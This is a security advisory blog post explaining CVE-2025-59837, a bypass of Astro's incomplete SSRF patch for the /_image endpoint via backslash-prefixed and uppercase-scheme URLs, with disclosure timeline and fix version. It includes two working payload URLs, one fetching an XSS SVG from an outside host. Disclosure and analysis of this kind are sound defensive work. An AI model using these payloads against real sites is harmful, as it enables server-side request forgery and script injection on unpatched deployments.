- Products & ServicesProducts & Services
- SolutionsSolutions
- PricingPricing
- CompanyCompany
- ResourcesResources
en
en
Trung Nguyen
| CyStack Advisory ID | CSA-2025-01 |
|---|---|
| CVE IDs | CVE-2025-59837 |
| Severity | High |
| CVSS v3 Base | 7.2 |
Recently, I analyzed a security patch released by the Astro team for a Server-Side Request Forgery (SSRF) vulnerability. My investigation revealed that the fix was incomplete, leading to the discovery of CVE-2025-59837
This research not only highlighted a critical flaw in URL validation logic but also revealed a significant supply chain risk affecting major industry players.
The original vulnerability, CVE-2025-58179, affected the @astrojs/cloudflare adapter. The issue resided in the /_image endpoint, which is responsible for optimizing and serving images.
By design, this endpoint should only serve local images or explicitly allowed remote domains. However, a flaw allowed attackers to abuse this endpoint to fetch arbitrary URLs, leading to SSRF and potential Cross-Site Scripting (XSS).
The Astro team attempted to mitigate this by implementing a “blocklist” strategy in commit 9ecf359. The patch tried to sanitize inputs by explicitly blocking strings that started with common protocol schemes: http://, https://, and //.
While this prevents the most obvious attacks, it relies on string matching rather than proper URL parsing. This is where the logic crumbled.
I discovered that the validation logic failed to account for alternative directory separators. While the patch strictly looked for forward slashes (/), many underlying fetch implementations and environments normalize backslashes (\) into forward slashes after the validation step.
I constructed a payload that replaced the protocol slashes with backslashes:
Payload:
https://astro.build/_image?href=\raw.githubusercontent.com/projectdiscovery/nuclei-templates/refs/heads/main/helpers/payloads/retool-xss.svg&f=svg
Technical Breakdown:
Validation Layer: The string starts with \raw.... The validator checks: Does this start with http://? No. Does it start with //? No. The check passes.
Execution Layer: The server-side fetch operation receives the string. It normalizes \raw... (interpreting the backslash as a root-relative or protocol-relative indicator depending on the environment) or simply corrects the slashes, successfully reaching raw.githubusercontent.com and executing the SSRF.
Shortly after I reported the backslash issue, fellow researcher GeneralZero identified a concurrent failure in the same patch: the validation was case-sensitive.
Payload:
https://astro.build/_image?href=HTTP://raw.githubusercontent.com...
Technical Breakdown: The patch used a strict string comparison (likely .startsWith()). It correctly blocked http:// but allowed HTTP://. According to RFC 3986, URL schemes are case-insensitive, meaning the backend fetch treated HTTP:// as a valid request, completely bypassing the filter.
The impact of this vulnerability extended far beyond simple websites. Astro is a widely adopted framework in the modern web ecosystem.
During my reconnaissance phase, I identified that this vulnerable library was integrated into the products and digital assets of several high-profile global organizations. This serves as a stark reminder of software supply chain risks, where a flaw in a single dependency can ripple up to enterprise-grade systems.
I responsible disclosed this vulnerability to the security teams of several major firms where I detected the issue, including: Google, Microsoft, Unilever, Porsche, Datadog…
I reported the bypass on September 17, and the maintainers accepted the report immediately.
Fix Released: The issue was fully resolved in astro version 5.13.10.
CVE Assigned: GitHub assigned CVE-2025-59837 to this bypass.
If you are using Astro, specifically the image optimization features, ensure you are running version 5.13.10 or later.

Reading Time: 2 minutesCyStack Advisory ID CSA-2022-01 CVE IDs CVE-2022-41938 Severity Critical CVSS v3 Base 9.0 Synopsis CyStack’s researchers recently discovered a Stored […]

Reading Time: 3 minutesCyStack Advisory ID CSA-2021-01 CVE IDs CVE-2021-44832 Severity Critical CVSS v3 Base 10.0 Synopsis Cyclos is a payment software created […]

Reading Time: 4 minutesKernel rootkit is considered the most dangerous malware that may infect computers. Operating at ring 0, the highest privilege level […]